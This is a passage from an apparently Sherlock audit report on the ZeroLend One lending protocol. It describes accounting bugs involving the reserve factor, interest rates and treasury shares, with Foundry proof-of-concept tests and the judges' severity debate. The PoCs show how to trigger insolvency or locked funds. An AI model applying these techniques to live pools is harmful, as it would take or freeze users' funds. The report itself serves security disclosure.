    // emit PoolEventsLib.LiquidationCall(address(tokenA), address(tokenB), pos, 0,
↪  0, bob);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 100 ether);

    vm.stopPrank();

    (, uint256 totalDebtBaseNew,,,,) = pool.getUserAccountData(alice, 0);
    assertTrue(totalDebtBase > totalDebtBaseNew);

    // Get the current block timestamp
    uint256 currentTime3 = block.timestamp;

    // Set the block.timestamp to current time plus 100 seconds
    vm.warp(currentTime3 + 500);

    vm.startPrank(dav);
    pool.supplySimple(address(tokenA), dav, 100e18, 0); // 550 tokenA alice supply
    vm.stopPrank();

    assertEq(pool.getBalanceRaw(address(tokenA), dav, 0).supplyShares,
↪   99999784100498438999);
}
```

Before Updating the index with Amount minted to tresury dav got - 99999784100498438999; After update - 99999783033155331339,

```
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 67.39ms (15.32ms
↪   CPU time)

Ran 1 test suite in 2.36s (67.39ms CPU time): 0 tests passed, 1 failed, 0 skipped
↪   (1 total tests)

Failing tests:
Encountered 1 failing test in
↪   test/forge/core/pool/PoolLiquidationTests.t.sol:PoolLiquidationTest
[FAIL. Reason: assertion failed: 99999783033155331339 != 99999784100498438999]
↪   testLiquidationSimple1() (gas: 1610672)
```

5. Other points are stated in issue 387

0xSpearmint

This issue is low severity. It does not satisfy the criteria for medium.

As shown by the POC, the difference in shares is 0.00000106% which is not large enough (0.01%) to be medium severity.

cvetanovv

I agree with @0xSpearmint. This issue does not meet the criteria for Medium severity:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.

I'm planning to invalidate the issue.

Tomiwasa0

@cvetanovv ,

To get the full impact of this kindly apply the appropriate fix to the bugs discovered in the liquidation function issue 473 and others, this creates a scenario also almost similar to issue 199 attacker get free funds,

In evaluating the current system's functionality, issue 91 identified seven significant impacts resulting from improper handling, specifically regarding the liquidity and collateral management mechanisms:

1. **Incorrect Withdrawals**: The amount withdrawn is consistently 1% of the liquidated amount, which deviates from expected behavior.
2. **Test Validity**: The test scenario I provided demonstrates the validity of the concern, although I was unable to use an appropriate timeframe due to the Chainlink timestamp check. To ensure accuracy, I strongly recommend both parties rerun the scenario with the following conditions:
    - Funds are borrowed and remain unpaid after 3 to 6 months.
    - The collateral value drops, and the user is subsequently liquidated.
3. **Systematic Impact**: As stated in issue 91, testing across all relevant functions reveals that this has a distinct impact on subsequent function calls, altering the expected outputs.
4. **Minting of Free Shares**: By not considering other influencing factors, the current setup inadvertently allows users to mint free shares. These shares can then be converted back to the original amount, creating an imbalance.
5. **Collateral Decline Over Time**: The decline in collateral value over time affects the Liquidity in the pool, further complicating the issue. The test case clearly illustrates how the system's behavior changes in these scenarios. creates DOS vulnerability like issue 488 and 375.
6. **Use of New Inputs**: By running the system using the new inputs provided, you will see the exact impact referenced by spearmint. This highlights the need for a comprehensive review of the mechanics involved.

---

cvetanovv

@Tomiwasa0 I will agree with your comment and leave this issue as is.

Issue M-9: Inconsistent Application of Reserve Factor Changes Leads to Protocol Insolvency Risk

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/402

Found by

A2-security, denzi_, zarkk01

Summary

The ZeroLend protocol's `PoolFactory` allows for global changes to the `reserveFactor`, which affects all pools simultaneously. However, the `ReserveLogic` contract applies this change inconsistently between interest accrual and treasury minting processes. This inconsistency leads to a mismatch between accrued interest for users and the amount minted to the treasury, causing protocol insolvency or locked funds.

Vulnerability Detail

The `reserveFactor` is a crucial parameter in the protocol that determines the portion of interest accrued from borrowers that goes to the protocol's treasury. It's defined in the `PoolFactory` contract:

```
contract PoolFactory is IPoolFactory, Ownable2Step {
// ...
uint256 public reserveFactor;
// ...
}
```

This `reserveFactor` is used across all pools created by the factory. It's retrieved in various operations, such as in the `supply` function for example :

```
function _supply(address asset, uint256 amount, bytes32 pos, DataTypes.ExtraData
 ↪  memory data) internal nonReentrant(RentrancyKind.LENDING) returns
 ↪  (DataTypes.SharesType memory res) {
// ...
res = SupplyLogic.executeSupply(
_reserves[asset],
_usersConfig[pos],
_balances[asset][pos],
_totalSupplies[asset],
DataTypes.ExecuteSupplyParams({reserveFactor: _factory.reserveFactor(), /_ ... _/})
);
// ...
}
```

The reserveFactor plays a critical role in calculating interest rates and determining how much of the accrued interest goes to the liquidity providers and how much goes to the protocol's treasury . The issue arises from the fact that this reserveFactor can be changed globally for all pools:

```
function setReserveFactor(uint256 updated) external onlyOwner {
uint256 old = reserveFactor;
reserveFactor = updated;
emit ReserveFactorUpdated(old, updated, msg.sender);
}
```

let's examine how this change affects the core logic in the ReserveLogic contract:

```
function updateState(DataTypes.ReserveData storage self, uint256 _reserveFactor,
 ↪  DataTypes.ReserveCache memory _cache) internal {
if (self.lastUpdateTimestamp == uint40(block.timestamp)) return;

    _updateIndexes(self, _cache);
    _accrueToTreasury(_reserveFactor, self, _cache);

    self.lastUpdateTimestamp = uint40(block.timestamp);

}
```

The vulnerability lies in the fact that _updateIndexes and _accrueToTreasury will use different reserveFactor values when a change occurs:

if the reserveFactors is changed _updateIndexes will uses the old reserveFactor implicitly through cached liquidityRate:

```
function _updateIndexes(DataTypes.ReserveData storage _reserve,
 ↪  DataTypes.ReserveCache memory _cache) internal {
if (_cache.currLiquidityRate != 0) {
uint256 cumulatedLiquidityInterest =
 ↪  MathUtils.calculateLinearInterest(_cache.currLiquidityRate,
 ↪  _cache.reserveLastUpdateTimestamp);
_cache.nextLiquidityIndex =
 ↪  cumulatedLiquidityInterest.rayMul(_cache.currLiquidityIndex).toUint128();
_reserve.liquidityIndex = _cache.nextLiquidityIndex;
}
// ...
}
```

_accrueToTreasury will use the new reserveFactor:

```
function _accrueToTreasury(uint256 reserveFactor, DataTypes.ReserveData storage
↪  _reserve, DataTypes.ReserveCache memory _cache) internal {
// ...
vars.amountToMint = vars.totalDebtAccrued.percentMul(reserveFactor);
if (vars.amountToMint != 0) _reserve.accruedToTreasuryShares +=
↪  vars.amountToMint.rayDiv(_cache.nextLiquidityIndex).toUint128();
}
```

This discrepancy results in the protocol minting more/less treasury shares than it should based on the actual accrued interest cause it uses the new `reserveFactor`. Over time, this can lead to a substantial overallocation/underallocation of funds to the treasury, depleting the reserves available for users or leaving funds locked in the pool contract forever.

example scenario :

- to simplify this issue consider the following example :
- Deposited: `10,000USD`
- Borrowed: `10,000USD`
- Initial `reserveFactor`: `10%`
- Borrow rate: `12%`
- Utilization ratio: `100%`
- Liquidity rate: `12%*(100%-10%)=10.8%`

After 2 months:

- Accrued interest: `200USD`
- `reserveFactor` changed to `30%`
- `updateState` is called:
  - `_updateIndexes`: Liquidity index = `(0.018+1)*1=1.018` (based on old `10.8%` rate)
  - `_accrueToTreasury`: Amount to mint = `200*0.3=60USD` (using new `30%` `reserveFactor`)

When a user attempts to withdraw:

- User's assets: `10,000*1.018=10,180USD`
- Treasury owns: `60USD`
- Total required: `10,240USD`

However, the borrower only repaid `10,200USD` (`10,000` principal + `200` interest), resulting in a `40USD` shortfall. This discrepancy can lead to failed withdrawals and insolvency of the protocol.

Impact

the Chage of `reserveFactor` leads to protocol insolvency risk or locked funds. Increased `reserveFactor` causes over-minting to treasury, leaving insufficient funds for user withdrawals. Decreased `reserveFactor` results in under-minting, locking tokens in the contract permanently. Both scenarios compromise the protocol's financial integrity

Code Snippet

- https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/PoolFactory.sol#L112-L116
- https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L210

Tool used

Manual Review

Recommendation

- Given ZeroLend's permissionless design where anyone can create a pool, updating all pools simultaneously before updating the `reserveFactor` is impractical. we recommend storing the `lastReserveFactor` used for each pool. This approach is similar to other protocols and ensures consistency between interest accrual and treasury minting.

Add a new state variable in the ReserveData struct:

```
struct ReserveData {
    // ... existing fields
+    uint256 lastReserveFactor;
}
```

Modify the updateState function to use and update this lastReserveFactor:

```
function updateState(DataTypes.ReserveData storage self, uint256 _reserveFactor,
↪   DataTypes.ReserveCache memory _cache) internal {
    if (self.lastUpdateTimestamp == uint40(block.timestamp)) return;

    _updateIndexes(self, _cache);
-    _accrueToTreasury(_reserveFactor, self, _cache);
+    _accrueToTreasury(self.lastReserveFactor, self, _cache);

    self.lastUpdateTimestamp = uint40(block.timestamp);
+   self.lastReserveFactor = _reserveFactor;
}
```

This solution ensures that the same reserveFactor is used for both interest accrual and treasury minting within each update cycle, preventing inconsistencies while allowing for global reserveFactor changes to take effect gradually across all pools.

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

Honour commented:

> invalid: the cached reserveFactor is also the same used to accrue to treasury.

nevillehuang

request poc

Seems related to #199

sherlock-admin3

PoC requested from @A2-security

Requests remaining: **19**

aliX40

hey @nevillehuang ,this is not a dup of #199 , we have #316 which is duplicate of #199 . this one is different

- the comment :

  invalid: the cached reserveFactor is also the same used to accrue to treasury.
  is incorrect

- here a poc shows how change the factor will lead to insolvency and cause the last withdrawal not able to first we need to correct the balance calculation in PositionBalanceConfiguration:

```
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index)
↪  public view returns (uint256 supply) {
-     uint256 increase = self.supplyShares.rayMul(index) -
↪  self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-     return self.supplyShares + increase;
+    return self.supplyShares.rayMul(index);
  }

  function getDebtBalance(DataTypes.PositionBalance storage self, uint256 index)
↪  internal view returns (uint256 debt) {
```

```
-     uint256 increase = self.debtShares.rayMul(index) -
↪  self.debtShares.rayMul(self.lastDebtLiquidtyIndex);
-     return self.debtShares + increase;
+    return self.debtShares.rayMul(index);
  }
```

- add this test to PoolRepayTests

```
function test\_auditPoc\_reserve() external {
  console.log('balance pool before : ', tokenA.balanceOf(address(pool)));
  \_mintAndApprove(alice, tokenA, 2 * amount, address(pool));
  vm.startPrank(alice);

  pool.supplySimple(address(tokenA), alice, amount, 0); // deposit : 2000e18
  pool.borrowSimple(address(tokenA), alice, borrowAmount, 0); // borrow : 800e18

  vm.stopPrank();
  // wrap sometime so the intrest accrue :
  vm.warp(block.timestamp + 30 days);
  // change reserve factor to 0.2e4 (20\%):
  poolFactory.setReserveFactor(0.2e4);

  vm.startPrank(alice);
  tokenA.approve(address(pool), UINT256\_MAX);
  pool.repaySimple(address(tokenA), UINT256\_MAX, 0);
  // withdraw all will revert cause there is not enough funds for treasury due to
↪  updating the factor :
  vm.expectRevert();
  pool.withdrawSimple(address(tokenA), alice, UINT256\_MAX, 0);
  vm.stopPrank();

}
```

- the transaction will revert , because the amount accrued to treasury , doesn't exist , and please notice that this will effect all the pool in the protocol , and this amount will keep growing , since it's accumulate yield as well , which is insolvency

The issue described in the report, is similar to a bug found in the aave v3 codebase when updating the reserveFactor. This bug have been disclosed and fixed with the v3.1 release https://github.com/aave-dao/aave-v3-origin/blob/3aad8ca184159732e4b3d8c82cd56a8707a106a2/src/core/contracts/protocol/pool/PoolConfigurator.sol#L300C1-L315C4

```
function setReserveFactor(
  address asset,
  uint256 newReserveFactor
) external override onlyRiskOrPoolAdmins {
  require(newReserveFactor <= PercentageMath.PERCENTAGE\_FACTOR,
↪  Errors.INVALID\_RESERVE\_FACTOR);
@>>   \_pool.syncIndexesState(asset);

  DataTypes.ReserveConfigurationMap memory currentConfig =
↪  \_pool.getConfiguration(asset);
  uint256 oldReserveFactor = currentConfig.getReserveFactor();
  currentConfig.setReserveFactor(newReserveFactor);
  \_pool.setConfiguration(asset, currentConfig);
  emit ReserveFactorChanged(asset, oldReserveFactor, newReserveFactor);

  \_pool.syncRatesState(asset);
}
```

Also the fix we recomended is inspired by how the eulerv2 handled this, in their vault. (cache reserve factor when calling updateInterestrate, and use the cached factor when updating the index!)

0xspearmint1

escalate

`setReserveFactor()` is a protocol admin function

Sherlock rules state

> Admin could have an incorrect call order. Example: If an Admin forgets to setWithdrawAddress() before calling withdrawAll() This is not a valid issue.
>
> An admin action can break certain assumptions about the functioning of the code. Example: Pausing a collateral causes some users to be unfairly liquidated or any other action causing loss of funds. This is not considered a valid issue.

1. If the admin calls `forceUpdateReserve()` on the pools before calling `setReserveFactor()` this issue will not exist
2. Since `setReserveFactor()` is only called by the protocol admin, according to the sherlock rules admin actions that lead to issues are not valid

sherlock-admin3

> escalate
>
> `setReserveFactor()` is a protocol admin function
>
> Sherlock rules state
>
> > Admin could have an incorrect call order. Example: If an Admin forgets to setWithdrawAddress() before calling withdrawAll() This is not a valid issue.
> >
> > An admin action can break certain assumptions about the functioning of the code. Example: Pausing a collateral causes some users to be unfairly liquidated or any other action causing loss of funds. This is not considered a valid issue.

1. If the admin calls `forceUpdateReserve()` on the pools before calling `setReserveFactor()` this issue will not exist
2. Since `setReserveFactor()` is only called by the protocol admin, according to the sherlock rules admin actions that lead to issues are not valid

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

aliX40

First point:

- If the admin calls forceUpdateReserve() on the pools before calling setReserveFactor() this issue will not exist

This is not true and presents a Dos attack vector. Creating pools on zerolend is permissionless, u can't simply expect the admin to call forceUpdateReserve() on 10 of thousands of pools before changing the resrve factor. This is simply unrealistic, costly and opens an attack vector for people to dos the treasury Second point:

- this issue doesn't expect and admin to make a mistake. Any call or changes to the reserve factor will provide damages to the deployed pools in the system. (Meaning if reserveFactor is increased or decreased there will be a significant Impact on the system (Please read our report for full details))

0xDenzi

I would also like to clarify further for the escalator that the 2nd point does not apply to functions which itself are broken/incomplete. The issue is not about admin missing or not executing or delaying a call or providing a wrong input. The issue is that the function is missing line/s of code to properly adjust the reserve factor.

cvetanovv

This issue falls right between the "Admin Input/call validation" rules and broken functionality:

> Admin could have an incorrect call order. An admin action can break certain assumptions about the functioning of the code.
>
> Breaks core contract functionality, rendering the contract useless or leading to loss of funds of the affected party larger than 0.01% and 10 USD.

But I think we have broken functionality here, not an admin error.

Planning to reject the escalation and leave the issue as is.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0xspearmint1: rejected

Issue M-10: Unclaimable reserve assets will accrue in a pool due to the difference between interest paid on borrows and interest earned on supplies

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/429

Found by

Nihavent, iamnmt

Summary

The interest paid on borrows is calculated in a compounding fashion, but the interest earned on supplying assets is calculated in a fixed way. As a result more interest will be repaid by borrowers than is claimable by suppliers. This buildup of balance never gets rebased into the `liquidityIndex`, nor is it claimable with some sort of 'skim' function.

Root Cause

Any time an action calls `ReserveLogic::updateState()`, is called.

In `_updateIndexes()`, the `_cache.nextLiquidityIndex` is a scaled up version of `_cache.currLiquidityIndex` based on the 'linear interest' calculated in .

 scales a fixed interest annual interest rate by the amount of time elapsed since the last call:

```
function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal
↪  view returns (uint256) {
  //solium-disable-next-line
  uint256 result = rate * (block.timestamp - uint256(lastUpdateTimestamp));
  unchecked {
    result = result / SECONDS_PER_YEAR;
  }

  return WadRayMath.RAY + result;
}
```

Similarly, the `_cache.nextBorrowIndex` is a scaled up version of `_cache.currBorrowIndex` based on the 'compound interest' calculated in .

 compounds a rate based on the time elapsed since it was last called:

```
function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp,
 ↪  uint256 currentTimestamp) internal pure returns (uint256) {
  //solium-disable-next-line
  uint256 exp = currentTimestamp - uint256(lastUpdateTimestamp);

  if (exp == 0) {
    return WadRayMath.RAY;
  }

  uint256 expMinusOne;
  uint256 expMinusTwo;
  uint256 basePowerTwo;
  uint256 basePowerThree;
  unchecked {
    expMinusOne = exp - 1;
    expMinusTwo = exp > 2 ? exp - 2 : 0;

    basePowerTwo = rate.rayMul(rate) / (SECONDS_PER_YEAR * SECONDS_PER_YEAR);
    basePowerThree = basePowerTwo.rayMul(rate) / SECONDS_PER_YEAR;
  }

  uint256 secondTerm = exp * expMinusOne * basePowerTwo;
  unchecked {
    secondTerm /= 2;
  }
  uint256 thirdTerm = exp * expMinusOne * expMinusTwo * basePowerThree;
  unchecked {
    thirdTerm /= 6;
  }

  return WadRayMath.RAY + (rate * exp) / SECONDS_PER_YEAR + secondTerm + thirdTerm;
}
```

As a result, more interest is payable on debt than is earned on supplied liquidity. This is a design choice by the protocol, however without a function to 'skim' this extra interest, these tokens will buildup and are locked in the protocol.

Internal pre-conditions

1. Pool operates normally with supplies/borrows/repays
2. `updateState()` must NOT be called every second, as this would create a compounding-effect on the 'linear rate' such that the difference in interest paid on debts is equal to the interest earned on supplies.

External pre-conditions

No response

Attack Path

1. Several users supply tokens to a pool as normal
2. Users borrow against the liquidity
3. Time passes, all borrows are repaid
4. All suppliers withdraw their funds (as part of this operation the treasury also withdraws their fee assets)
5. A pool remains with 0 supplyShares and 0 debtShares, but still has a token balance which is unclaimable by anyone

Impact

1. Token buildup in contract is unclaimable by anyone
    - The built up token balance can be borrowed and flash loaned, leading to compounding build up of unclaimable liquidity

PoC

Create a new file in /test/forge/core/pool and paste the below contents. The test shows a simple supply/borrow/warp/repay flow. After the actions are complete, the pool has more `tokenB` than is claimable by the supplier and the treasury. These tokens are now locked in the contract

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import {console2} from 'forge-std/src/Test.sol';
import {PoolLiquidationTest} from './PoolLiquidationTests.t.sol';

contract AuditUnclaimableBalanceBuildupOnPool is PoolLiquidationTest {

  function test_POC_UnclaimableBalanceBuildupOnPool () public {
    uint256 aliceMintAmount = 10_000e18;
    uint256 bobMintAmount = 10_000e18;
    uint256 supplyAmount = 1000e18;
    uint256 borrowAmount = 1000e18;

    _mintAndApprove(alice, tokenA, aliceMintAmount, address(pool));         //
↪   alice collateral
```

```
    _mintAndApprove(bob, tokenB, bobMintAmount, address(pool));             // bob
↪   supply
    _mintAndApprove(alice, tokenB, aliceMintAmount, address(pool));         //
↪   alice needs some funds to pay interest

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmount, 0);
    vm.stopPrank();

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, aliceMintAmount, 0);  // alice
↪   collateral
    pool.borrowSimple(address(tokenB), alice, borrowAmount, 0);     // 100%
↪   utilization
    vm.stopPrank();

    vm.warp(block.timestamp + 365 days); // Time passes, interest accrues, treasury
↪   shares accrue
    pool.forceUpdateReserves();

    // Alice full repay
    vm.startPrank(alice);
    tokenB.approve(address(pool), type(uint256).max);
    pool.repaySimple(address(tokenB), type(uint256).max, 0);

    (,,, uint256 debtShares) = pool.marketBalances(address(tokenB));
    // All debt has been repaid
    assert(debtShares == 0);

    // Bob's claim on pool's tokenB
    bytes32 bobPos = keccak256(abi.encodePacked(bob, 'index', uint256(0)));
    uint256 BobsMaxWithdrawAssets = pool.supplyShares(address(tokenB), bobPos) *
↪   pool.getReserveData(address(tokenB)).liquidityIndex / 1e27;

    // Treasury claim on pool's tokenB
    uint256 accruedTreasuryAssets =
↪   pool.getReserveData(address(tokenB)).accruedToTreasuryShares *
↪   pool.getReserveData(address(tokenB)).liquidityIndex / 1e27;

    // Total balance of pool's tokenB
    uint256 poolTokenBBalance = tokenB.balanceOf(address(pool));

    assert(poolTokenBBalance > BobsMaxWithdrawAssets + accruedTreasuryAssets); //
↪   There are more tokenB on the pool than all suppliers + treasury claim.
  }

}
```

Mitigation

One option is to create a function which claims the latent funds to the treasury, callable by an owner

- Calls `forceUpdateReserves()`
- Calls `executeMintToTreasury()`
- Calculates the latent funds on a pool's reserve (something like `tokenA.balanceOf(pool)-(totalSupplyShares*liquidityIndex)`)
- Sends these funds to the treasury

Another option would be to occasionally rebase `liquidityIndex` to increase the value of supplyShares so supplies have a claim on these extra funds.

In both cases it may be sensible to leave some dust as a buffer.

Discussion

0xspearmint1

escalate

This issue is invalid for multiple reasons

1. The condition for this issue as stated by the watson is that `updateState()` must NOT be called regularly. This is totally unrealistic since any any action (supply, borrow, withdraw, repay, etc) will call `updateState()`. In the POC they provided, it involves not calling `updateState()` for 365 days after borrowing funds.
2. Sherlock's criteria for a medium issue requires the following:

   Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.

No user experiences a loss in this issue

1. Lenders receive the correct interest rate
2. Borrowers pay the correct borrow rate

sherlock-admin3

> escalate
>
> This issue is invalid for multiple reasons
>
> 1. The condition for this issue as stated by the watson is that `updateState()` must NOT be called regularly. This is totally unrealistic since any any action (supply, borrow, withdraw, repay, etc) will call `updateState()`. In the POC they provided, it involves not calling `updateState()` for 365 days after borrowing funds.

2. Sherlock's criteria for a medium issue requires the following:

   Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.

No user experiences a loss in this issue

1. Lenders receive the correct interest rate
2. Borrowers pay the correct borrow rate

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Nihavent

> "1. The condition for this issue as stated by the watson is that updateState() must NOT be called regularly. This is totally unrealistic since any any action (supply, borrow, withdraw, repay, etc) will call updateState(). In the POC they provided, it involves not calling updateState() for 365 days after borrowing funds."

The escalation comment misquoted the report saying "updateState() must NOT be called regularly" when the report states "updateState() must NOT be called every second". These are meaningfully different statements because the impact is present when updateState() is called as frequently as 2 seconds, which is more frequently than what would be expected in most pool/asset combinations.

The elapsed time between `updateState()` calls is completely arbitrary and in the POC I used 365 days as a matter of habbit. See adjusted POC below where instead of warping 365 days, we warp just 2 seconds and the test still passes:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import {console2} from 'forge-std/src/Test.sol';
import {PoolLiquidationTest} from './PoolLiquidationTests.t.sol';

contract AuditUnclaimableBalanceBuildupOnPool is PoolLiquidationTest {

    ...

-   vm.warp(block.timestamp + 365 days); // Time passes, interest accrues, treasury
 ↪  shares accrue
+   vm.warp(block.timestamp + 2 seconds); // Time passes, interest accrues,
 ↪  treasury shares accrue
    pool.forceUpdateReserves();
    ...
  }

}
```

```
Ran 1 test for test/forge/core/pool/UnclaimableBalanceBuildupOnPool.t.sol:AuditUncl ⌋
↪  aimableBalanceBuildupOnPool
[PASS] test\_POC\_UnclaimableBalanceBuildupOnPool() (gas: 811472)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.18ms (1.08ms CPU
↪  time)
```

> ”2. Sherlock's criteria for a medium issue requires the following:
>
> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.
>
> No user experiences a loss in this issue
>
> Lenders receive the correct interest rate Borrowers pay the correct borrow rate”

Funds locked in the contract must be considered lost because they are permanently unretrievable.

The amount locked (lets call it surpluss) increases every time debt is repaid. Over time it's reasonable to expect a signficiant portion of all a pool's assets will be surpluss and not claimable by anyone.

The value of locked funds will clearly exceed 10 USD as there will usually be several percentage points difference between the indexes. This of course will vary depending on the frequency of `updateState()` calls. If this needs to be quantified I would be happy to help, but it clearly exceeds dust values.

Finally, we can refer to the Sherlock standards to determine that permanent locked funds constitutes a valid issue:

> ”2. **Could Denial-of-Service (DOS), griefing, or locking of contracts count as a Medium (or High) issue?** DoS has two separate scores on which it can become an issue:
>
> 1. The issue causes locking of funds for users for more than a week.
> 2. The issue impacts the availability of time-sensitive functions (cutoff functions are not considered time-sensitive). If at least one of these are describing the case, the issue can be a Medium. If both apply, the issue can be considered of High severity. Additional constraints related to the issue may decrease its severity accordingly.
>   Griefing for gas (frontrunning a transaction to fail, even if can be done perpetually) is considered a DoS of a single block, hence only if the function is clearly time-sensitive, it can be a Medium severity issue.”

cvetanovv

For me, this issue is borderline Medium/Low. Because of this, we have to look at Sherlock's rules.

These are the requirements for Medium severity:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.

The losses exceed 0.01% and 10 USD, and the issue meets the requirements for Medium severity.

Planning to reject the escalation and leave the issue as is.

0xSpearmint

@cvetanovv Who exactly is experiencing the loss of funds here?

The borrowers pay the expected borrow rate according to the interest rate contract.

The lenders receive the expected supply rate according to the interest rate contract.

The protocol receives the expected revenue from the reserve factor.

AAVE does implement a rescueTokens function but it allows the owner to arbitrarily remove any amount of tokens from the pool, this is fine because AAVE governance is trusted. However, in ZeroLend pool deployment is permission-less, implementing such a function for each pool would pose a huge security risk which is why the protocol chose to not implement it.

This looks like an obvious design choice to me.

DemoreXTess

@cvetanovv I agree with @0xSpearmint. This is actually not simply a design choice. Using compounding rate for borrowers and linear rate for suppliers are recommended way to build a lending protocol. In order to keep protocols health at higher point most of the lending protocol using this way. Those money is not lost, it's always in circulation for keeping liquidity in safe point. Repaying all the debt and getting all the pools' money is not rational movement in this PoC. There is no impact here as @0xSpearmint mentioned.

Secondly, I wonder @Nihavent did you solve all the problems in the protocl which is related with interest rate and accrued fund ? Because identifying this problem with this PoC is really hard in current circumstances. We have 33 findings right now. I don't know how many of them related with those.

Nihavent

We all seem to agree that there will be unclaimable assets building up in the pool. These are the funds that are locked in the contract, and these funds are clearly lost.

> " This looks like an obvious design choice to me."

Given that the devs implemented ‘sweep()’ in NFTPositionManager which claims tokens of much lower value, not implementing similar functionality in the Pool contract is an obvious oversight and cannot be considered design.

Another piece of evidence that this is not a design choice is the code comment

> ”The approximation slightly underpays liquidity providers and undercharges borrowers”

The comment indicates that due to using binomial approximation (3 terms) to calculate compounding interest, borrowers slightly underpay interest and suppliers receive slightly less interest. This gives us a glimpse into the dev’s intentions that the supply interest earned should be much closer (potentially even equal to) to the debt interest paid (otherwise the precision lost due to this implementation does not matter). The current implementation allows a buildup of unclaimable funds which far exceeds the precision lost in the code comment.

@0xSpearmint ### Who lost the funds? It would be up to the protocol to make a design decision as to who claims these funds. If we take the code comment above it would appear that the suppliers are entitled to these funds (the suppliers must earn close to the interest repaid by borrowers for suppliers to feel the precision lost described in the code comment). I did not take a definitive stand on this, I don’t believe it’s require for valid medium severity.

@DemoreXTess

> ” Using compounding rate for borrowers and linear rate for suppliers are recommended way to build a lending protocol.”

This is completely fine as long as there is a way to claim the delta between repaid debt interest and earned supply interest. If not this delta is locked in the contract.

> ” Those money is not lost, it's always in circulation for keeping liquidity in safe point. Repaying all the debt and getting all the pools' money is not rational movement in this PoC.”

Yes the unclaimable assets continue to be borrowed and repaid, which further increases the amount of unclaimable assets. Don’t be fooled by the fact that money is moving, a significant portion of it is unclaimable.

Repaying all debt and showing that the total claimable assets is less than the total pool’s assets was the simplest way to show this issue. This is a rational situation in Zerolend with permissionless pools, many pools will become inactive and liquidity may concentrate towards ‘high performing’ pools. In the current implementation all inactive pools will have latent funds locked permanently.

Even in active pools the unclaimable reserve is building up, which is why Aave fixed this problem with ‘rescueTokens’

cvetanovv

I agree with @Nihavent

We have a token loss that meets the Medium severity requirement.

> The loss of the affected party must exceed 0.01% and 10 USD.

These tokens remain permanently locked in the contract. AAVE has implemented a `rescueTokens` function, which fixes the problem. However, I agree that the recommendation here to implement the same function is not good and may open a new vulnerability because, in the ZeroLend pool, deployment is permissionless. The issue is valid, and the ZeroLend team is left to decide if and how they will fix the stuck tokens.

My decision to reject the escalation remains.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0xspearmint1: rejected

Issue M-11: Supply interest is earned on `accruedToTreasuryShares` resulting in higher than expected treasury fees and under rare circumstances DOSed pool withdrawals

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/430

Found by

0xAlix2, A2-security, Bigsam, Nihavent, Ocean_Sky, trachev

Summary

Fees on debt interest are calculated in 'assets', but not claimed immediately and stored as shares. When they're claimed, they're treated as regular supplyShares and converted back to assets based on the `liquidityIndex` at the time they're claimed. This results in the realized fees being higher than expected, and under an extreme scenario may not leave enough liquidity for regular pool suppliers to withdraw their funds.

Root Cause

Each time a pool's reserve state is updated, is called. This function incriments `_reserve.accruedToTreasuryShares` by the shares equiavalent of the assets taken as a fee. Note `vars.amountToMint` is in assets, and `_reserve.accruedToTreasuryShares` is stored in shares as the 'fee assets' are not always immediately sent to the treasury.

```
  function _accrueToTreasury(uint256 reserveFactor, DataTypes.ReserveData storage
↪   _reserve, DataTypes.ReserveCache memory _cache) internal {
    ... SKIP!...

    vars.amountToMint = vars.totalDebtAccrued.percentMul(reserveFactor); // Assets

@>  if (vars.amountToMint != 0) _reserve.accruedToTreasuryShares +=
↪   vars.amountToMint.rayDiv(_cache.nextLiquidityIndex).toUint128(); // Shares
  }
```

When any pool withdrawal is executed, is called. The stored shares are converted back to assets based on the current `liquidityIndex`:

```
function executeMintToTreasury(
  DataTypes.ReserveSupplies storage totalSupply,
  mapping(address => DataTypes.ReserveData) storage reservesData,
  address treasury,
  address asset
) external {
  DataTypes.ReserveData storage reserve = reservesData[asset];

  uint256 accruedToTreasuryShares = reserve.accruedToTreasuryShares;

  if (accruedToTreasuryShares != 0) {
    reserve.accruedToTreasuryShares = 0;
    uint256 normalizedIncome = reserve.getNormalizedIncome();
    uint256 amountToMint = accruedToTreasuryShares.rayMul(normalizedIncome); //
 ↪  Assets, scaled up by current liquidityIndex

    IERC20(asset).safeTransfer(treasury, amountToMint);
    totalSupply.supplyShares -= accruedToTreasuryShares;

    emit PoolEventsLib.MintedToTreasury(asset, amountToMint);
  }
}
```

As a result, the actual fee taken by the treasury exceeds the original x% intended by `reserveFactor` at the time the debt was repaid.

